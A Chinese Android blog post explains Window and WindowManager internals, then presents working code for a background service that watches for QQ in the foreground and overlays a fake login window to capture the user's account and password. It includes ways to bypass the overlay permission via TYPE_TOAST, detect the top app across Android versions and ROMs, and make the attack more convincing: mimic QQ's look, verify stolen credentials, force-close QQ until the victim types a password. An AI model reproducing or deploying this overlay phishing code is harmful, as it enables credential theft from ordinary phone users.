android WindowManager解析與騙取QQ密碼案例分析

最近在網(wǎng)上看見一個人在烏云上提了一個漏洞,應用可以開啟一個后臺 Service,檢測當前頂部應用,如果為 QQ 或相關應用,就彈出一個自定義 window 用來誘騙用戶輸入賬號密碼,挺感興趣的,總結相關知識寫了一個 demo,界面如下(界面粗糙,應該沒人會上當吧,意思到了就行哈=, =):
            

這里寫圖片描述

  demo 地址:https://github.com/zhaozepeng/GrabQQPWD

Window&&WindowManager介紹

分析 demo 之前,先要整理總結一下相關的知識。先看看 <font color="#4FA1E0">Window</font> 類,Window 是一個抽象類,位于代碼樹 frameworks/android/view/Window.java 文件。連同注釋,這個文件總共一千多行,它概括了 Android 窗口的基本屬性和基本功能。唯一實現(xiàn)了這個抽象類的是 PhoneWindow,實例化 PhoneWindow 需要一個窗口,只需要通過 WindowManager 即可完成,Window 類的具體實現(xiàn)位于 WindowManagerService中,WindowManager 和 WindowManagerService 的交互是一個 IPC 過程。Android 中的所有視圖都是通過 Window 來呈現(xiàn)的,不管是 Activity,Dialog 還是 Toast,他們的視圖實際上都是附加在 Window 上的,因此 Window 實際上是 View 的直接管理者,點擊事件也是由 Window 傳遞給 view 的。WindowManager.LayoutParams.type 參數(shù)表示 window 的類型,共有三種類型,分別是應用 Window,子 Window 和系統(tǒng) Window。應用 Window 對應著一個 Activity,類似 Dialog 之類的子 Window 不能單獨存在,他需要附屬在應用 Window 上才可以,系統(tǒng) Window 則不需要,比如 Toast 之類,可以直接顯示。每個 Window 都有對應的 z-orderd,層級大的 Window 會覆蓋在層級小的 Window 之上,應用 Window 的層級范圍是 1~99,子 Window 的范圍是 1000~1999,系統(tǒng) Window 的范圍是 2000~2999,這些層級范圍都對應著相關的 type,type 的相關取值:<font color="#4FA1E0">官網(wǎng)鏈接</font><font color="#4FA1E0">中文資料</font>。WindowManager.LayoutParams.flags 參數(shù)表示 Window 的屬性,默認為 none,flags 的相關取值:<font color="#4FA1E0">官方鏈接</font>,還有其他的 LayoutParams 變量名稱和取值可以參考 <font color="#4FA1E0">WindowManager.LayoutParams(上)</font><font color="#4FA1E0">WindowManager.LayoutParams(下)</font> 兩篇譯文博客,很詳細。
  再詳細分析一下 <font color="#4FA1E0">WindowManager</font>,WindowManager 主要用來管理窗口的一些狀態(tài)、屬性、view 增加、刪除、更新、窗口順序、消息收集和處理等。通過代碼 Context.getSystemService(Context.WINDOW_SERVICE)可 以獲得 WindowManager 的實例。WindowManager 所提供的功能很簡單,常用的只有三個方法,即添加 View、更新 View 和刪除 View,這三個方法定義在 <font color="#4FA1E0">ViewManager</font> 中,而 <font color="#4FA1E0">WindowManager</font> 繼承了 <font color="#4FA1E0">ViewManager</font>
<ul><li>addView(); </li><li>updateViewLayout();</li><li>removeView(); </li></ul>  這些函數(shù)是用來修改 Window 的,它的真正實現(xiàn)是 WindowManagerImpl 類,WindowManagerImpl 這種工作模式是典型的橋接模式,Window 為抽象部分,WindowManagerImpl 為實現(xiàn)部分。WindowManagerImpl 類并沒有直接實現(xiàn) Window 的三大操作,而是全部交給了 WindowManagerGlobal 來處理,WindowManagerGlobal 以單例模式 的形式向外提供自己的實例,在 WindowManagerGlobal 中有如下一段代碼:

private final WindowManagerGlobal mGlobal = WindowManagerGlobal.getinstance()

將所有的操作全部交給 WindowManagerGlobal 來實現(xiàn),后續(xù)的分析感興趣的可以看看我的博客: java/android 設計模式學習筆記(8)---橋接模式
  View 是 Android 中視圖的呈現(xiàn)方式,但是 View 不能單獨存在,他必須要附著在 Window 這個抽象的概念上面,每一個 Window 都對應著一個 View 和一個 ViewRootImpl,Window 和 View 通過 ViewRootImpl 來建立聯(lián)系,因此有視圖的地方就有 Window,比如常見的 Activity,Dialog,Toast 等,簡化的關系如下所示:

這里寫圖片描述

  對于每個 activity 只有一個 decorView 也就是 ViewRoot,window 是通過下面方法獲取的

Window mWindow = PolicyManager.makeNewWindow(this);

創(chuàng)建完 Window 之后,activity 會為該 Window 設置回調,Window 接收到外界狀態(tài)改變時就會回調到 activity 中。在 activity 中會調用 setContentView() 函數(shù),它是調用 window.setContentView() 完成的,而 Window 的具體實現(xiàn)是 PhoneWindow,所以最終的具體操作是在 PhoneWindow 中,PhoneWindow 的 setContentView 方法第一步會檢測 DecorView 是否存在,如果不存在,就會調用 generateDecor 函數(shù)直接創(chuàng)建一個 DecorView;第二步就是將 activity 的視圖添加到 DecorView 的 mContentParent 中;第三步是回調 activity 中的 onContentChanged 方法通知 activity 視圖已經(jīng)發(fā)生改變。這些步驟完成之后,DecorView 還沒有被 WindowManager 正式添加到 Window 中,最后調用 Activity 的 onResume 方法中的 makeVisible 方法才能真正地完成添加和現(xiàn)實過程,activity 的視圖才能被用戶看到。對 Activity 的啟動過程和 Window 的創(chuàng)建過程感興趣的可以看看我的這篇博客<font color="#4FA1E0">android 不能在子線程中更新ui的討論和分析</font>
  Dialog Window 的創(chuàng)建過程和 Activity 類似,第一步也是用 PolicyManager.makeNewWindow 方法來創(chuàng)建一個 Window,不過這里傳入的 Context 必須要為 Activity 的 context;第二步也是通過 setContentView 函數(shù)去設置 dialog 的布局視圖;第三步調用 show 方法,通過 WindowManager 將 DecorView 添加到 Window 中顯示出來。
  Toast 和 Dialog 不同,它稍微復雜一點,首先 Toast 也是基于 Window 來實現(xiàn)的,但是由于 Toast 具有定時取消的這一個功能,所以系統(tǒng)采用了 Handler。在 Toast 的內部有兩類 IPC 過程,第一類是 Toast 訪問 NotificationManagerService,第二類是 NotificationManagerService 回調 Toast 里的 TN 接口。在 Toast 類中,最重要的用于顯示該 toast 的 show 方法調用了 service.enqueueToast(pkg, tn, mDuration);也就是說系統(tǒng)為我們維持了一個 toast 隊列,這也是為什么兩個 toast 不會同時顯示的原因,該方法將一個 toast 入隊,顯示則由系統(tǒng)維持顯示的時機。

private static INotificationManager sService;
static private INotificationManager getService() {
    if (sService != null) {
        return sService;
    }
    sService = INotificationManager.Stub.asInterface(ServiceManager.getService("notification"));
    return sService;
}

該服務 sService 就是系統(tǒng)用于維護 toast 的服務。最后 NMS 會通過 IPC 調用 Toast 類內部的一個靜態(tài)私有類 TN,該類是 toast 的主要實現(xiàn),該類完成了 toast 視圖的創(chuàng)建,顯示和隱藏。
  網(wǎng)上介紹 WindowManager 的博客很多,都寫得很好的,要具體了解的可以結合看看源碼:

http://blog.csdn.net/chenyafei617/article/details/6577940)
http://www.tuicool.com/articles/fqiyeqM
http://blog.csdn.net/xieqibao/article/details/6567814
http://www.cnblogs.com/xiaoQLu/archive/2013/05/30/3108855.html

相關資料太多了,感興趣的可以看看源碼。

騙取QQ密碼實例##

有了上面的基礎之后,這個例子其實就非常簡單了。
  第一步編寫一個 Service 并且在 Service 中彈出一個自定義的 Window:

windowManager = (WindowManager) getSystemService(Context.WINDOW_SERVICE);
WindowManager.LayoutParams params = new WindowManager.LayoutParams();
params.width = WindowManager.LayoutParams.MATCH_PARENT;
params.height = WindowManager.LayoutParams.MATCH_PARENT;
params.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL;
params.type = WindowManager.LayoutParams.TYPE_SYSTEM_ERROR;
params.format = PixelFormat.TRANSPARENT;
params.gravity = Gravity.CENTER;
params.softInputMode = WindowManager.LayoutParams.SOFT_INPUT_ADJUST_PAN;

LayoutInflater inflater = LayoutInflater.from(this);
v = (RelativeLayoutWithKeyDetect) inflater.inflate(R.layout.window, null);
v.setCallback(new RelativeLayoutWithKeyDetect.IKeyCodeBackCallback() {
    @Override
    public void backCallback() {
        if (v!=null && v.isAttachedToWindow())
            L.e("remove view ");
            windowManager.removeViewImmediate(v);
    }
});

btn_sure = (Button) v.findViewById(R.id.btn_sure);
btn_cancel = (Button) v.findViewById(R.id.btn_cancel);
et_account = (EditText) v.findViewById(R.id.et_account);
et_pwd = (EditText) v.findViewById(R.id.et_pwd);
cb_showpwd = (CheckBox) v.findViewById(R.id.cb_showpwd);
cb_showpwd.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
    @Override
    public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
        if (isChecked) {
            et_pwd.setTransformationMethod(HideReturnsTransformationMethod.getInstance());
        } else {
            et_pwd.setTransformationMethod(PasswordTransformationMethod.getInstance());
        }
        et_pwd.setSelection(TextUtils.isEmpty(et_pwd.getText()) ?
                0 : et_pwd.getText().length());
    }
});

//useless
//        v.setOnKeyListener(new View.OnKeyListener() {
//            @Override
//            public boolean onKey(View v, int keyCode, KeyEvent event) {
//                Log.e("zhao", keyCode+"");
//                if (keyCode == KeyEvent.KEYCODE_BACK) {
//                    windowManager.removeViewImmediate(v);
//                    return true;
//                }
//                return false;
//            }
//        });


//點擊外部消失
v.setOnTouchListener(new View.OnTouchListener() {
    @Override
    public boolean onTouch(View view, MotionEvent event) {
        Rect temp = new Rect();
        view.getGlobalVisibleRect(temp);
        L.e("remove view ");
        if (temp.contains((int)(event.getX()), (int)(event.getY()))){
            windowManager.removeViewImmediate(v);
            return true;
        }
        return false;
    }
});

btn_sure.setOnClickListener(this);
btn_cancel.setOnClickListener(this);
L.e("add view ");
windowManager.addView(v, params);

這里有幾點需要說明一下,<ul><li><font color='red'>對懸浮窗權限的詳細介紹請看我的另一篇博客: Android 懸浮窗各機型各系統(tǒng)適配大全</font>;</li><li>第一個是 type 使用 TYPE_TOAST 而不是用 TYPE_SYSTEM_ERROR 是可以繞過權限的,這個是在知乎上看見有人說的一個漏洞,哈哈,但是因為在這個 Window 中有 edittext 控件,如果設置為 toast,軟鍵盤是沒法把布局頂上去的,只有 TYPE_SYSTEM_ERROR 可以將布局頂上去,如果想用 toast 繞過權限,布局就得自己精心去設計了;</li><li>第二個是因為有 Edittext,所以 softInputMode 需要設置為 SOFT_INPUT_ADJUST_PAN,要不然軟鍵盤會覆蓋 Window;</li><li>第三個是返回鍵的監(jiān)聽,setOnKeyListener 是不好用的,最后只能復寫 View 類的 dispatchKeyEvent 函數(shù)來實現(xiàn)按鍵監(jiān)聽了;</li><li>第四個是點擊外部消失的操作,看代碼就會明白了;</li><li>第五個,獲取頂部應用的權限問題,在這里非常感謝 @android_jiajia 朋友,提醒了一下,在 5.0 之前,5.0~5.1.1,5.1.1 之后獲取頂部應用的方式其實是不一樣的,getTopActivityBeforeL(),getTopActivityBeforeLMAfterL(),getTopActivityAfterLM(),特別要說明的是 LM 版本之后如果要去獲取頂部應用使用的 getAppTasks 方法時需要用戶手動去開啟權限的,但是這不就暴露了么,剛開始找到了一個 github 庫去解決 https://github.com/jaredrummler/AndroidProcesses,因為 android 底層還是linux內核,所以 /proc 的系統(tǒng)目錄下會有進程的相關信息,原理就是基于此,但是最后依舊獲取不到頂部的應用,最后沒辦法了,只能夠使用動態(tài)申請權限的方案了 <font color="#4FA1E0">PACKAGE_USAGE_STATS</font>。</li><li>第六個是在 6.0 的系統(tǒng)上,單單 Manifest 靜態(tài)注冊是不管用的,直接使用 WindowManager.LayoutParams.TYPE_SYSTEM_ERROR 是會直接崩潰,具體可以看看我的這篇博客 <font color="#4FA1E0">android permission權限與安全機制解析(下)</font>,這個我在代碼中也做好了適配。不過好消息是使用第一條我介紹的 TYPE_TOAST 依舊是可以繞過權限的,軟鍵盤覆蓋問題其實可以把布局挪上去就可以了。</li></ul>
  實現(xiàn)了彈出框的彈出之后,接著就要設置一個實時監(jiān)聽,開啟一個線程,每隔幾秒去監(jiān)聽用戶正在操作的應用是否是 QQ,這個就簡單多了,使用 ActivityManager 就可以了:

new Thread(new Runnable() {
    @Override
    public void run() {
        while (isRunning){
            L.e("running");
            try {
                Thread.sleep(3000);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
            if (isAppForground("com.tencent.mobileqq")){
                myHandler.sendEmptyMessage(1);
            }
        }
    }
}).start();

獲取頂部應用適配方法

private boolean isAppForeground(String appName){
    if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP){
        return appName.equals(getTopActivityBeforeL());
    }else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP_MR1){
        return appName.equals(getTopActivityAfterLM());
    }else{
        return appName.equals(getTopActivityBeforeLMAfterL());
    }
}

//5.0之前可以使用getRunningAppProcesses()函數(shù)獲取
private String getTopActivityBeforeL(){
    ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
    final List<ActivityManager.RunningAppProcessInfo> taskInfo = activityManager.getRunningAppProcesses();
    return taskInfo.get(0).processName;
}

//http://stackoverflow.com/questions/24625936/getrunningtasks-doesnt-work-in-android-l
//processState只能在21版本之后使用
private String getTopActivityBeforeLMAfterL() {
    final int PROCESS_STATE_TOP = 2;
    Field field = null;
    ActivityManager.RunningAppProcessInfo currentInfo = null;
    try {
        field = ActivityManager.RunningAppProcessInfo.class.getDeclaredField("processState");
    } catch (Exception ignored) {
    }
    ActivityManager activityManager = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);
    final List<ActivityManager.RunningAppProcessInfo> processInfos = activityManager.getRunningAppProcesses();
    for (ActivityManager.RunningAppProcessInfo processInfo : processInfos) {
        if (processInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND
                && processInfo.importanceReasonCode == ActivityManager.RunningAppProcessInfo.REASON_UNKNOWN) {
            Integer state = null;
            try {
                state = field.getInt(processInfo);
            } catch (Exception e) {
            }
            if (state != null && state == PROCESS_STATE_TOP) {
                currentInfo = processInfo;
                break;
            }
        }
    }
    return currentInfo!=null ? currentInfo.processName : null;
}

//注:6.0之后此方法也不太好用了
//http://stackoverflow.com/questions/30619349/android-5-1-1-and-above-getrunningappprocesses-returns-my-application-packag
//    private String getTopActivityAfterLM(){
//        ActivityManager.RunningAppProcessInfo topActivity =
//                ProcessManager.getRunningAppProcessInfo(this).get(0);
//        return topActivity.processName;
//    }

@TargetApi(Build.VERSION_CODES.LOLLIPOP_MR1)
private String getTopActivityAfterLM() {
    try {
        UsageStatsManager usageStatsManager = (UsageStatsManager) getSystemService(Context.USAGE_STATS_SERVICE);
        long milliSecs = 60 * 1000;
        Date date = new Date();
        List<UsageStats> queryUsageStats = usageStatsManager.queryUsageStats(UsageStatsManager.INTERVAL_DAILY, date.getTime() - milliSecs, date.getTime());
        if (queryUsageStats.size() <= 0) {
            return null;
        }
        long recentTime = 0;
        String recentPkg = "";
        for (int i = 0; i < queryUsageStats.size(); i++) {
            UsageStats stats = queryUsageStats.get(i);
            if (stats.getLastTimeStamp() > recentTime) {
                recentTime = stats.getLastTimeStamp();
                recentPkg = stats.getPackageName();
            }
        }
        return recentPkg;
    } catch (Exception e) {
        e.printStackTrace();
    }
    return "";
}

<font color='red'>PS:小米手機的 ROM 官方禁止了這些行為,不管是 getRunningAppProcesses,getRunningTasks,和 ProcessManager 都只能返回自己和系統(tǒng)應用的列表,怎么搞?</font>
http://www.miui.com/forum.php?mod=viewthread&tid=2866840
更新,不光這樣,在最新版本的小米 ROM 中,Manifest 文件中申請了

<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />

權限,使用 WindowManager.LayoutParams.TYPE_SYSTEM_ERROR 還是無法彈出 Window,小米 ROM 需要特殊處理一下,具體的可以看看我的一個開源項目:Android 懸浮窗權限各機型各系統(tǒng)適配大全,大家感興趣的可以參與進來。
  這樣效果就差不多了,最后在Activity中啟動該Service即可,當然這個還有很多改進的余地:
   1. 修改 UI,使之更加的和 QQ 風格相似。
  2. 用戶輸入完賬號和密碼之后,可以 addView 一個 loadingDialog,接著調用相關接口去驗證用戶名和密碼的正確性,不正確提示用戶重新輸入。
   3. 如果用戶不輸入賬號和密碼,直接調用 killBackgrondProcess 函數(shù)(需要權限),強硬的把 QQ 關閉,直到用戶輸入賬號和密碼。
  當然了,這只是學習知識而已,大家開心就好啊  ̄? ̄。

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發(fā)布,文章內容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 229,362評論 6 537
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 99,013評論 3 423
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 177,346評論 0 382
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經(jīng)常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 63,421評論 1 316
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 72,146評論 6 410
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 55,534評論 1 325
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,585評論 3 444
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 42,767評論 0 289
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 49,318評論 1 335
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 41,074評論 3 356
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 43,258評論 1 371
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,828評論 5 362
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發(fā)生泄漏。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 44,486評論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,916評論 0 28
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 36,156評論 1 290
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 51,993評論 3 395
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 48,234評論 2 375

推薦閱讀更多精彩內容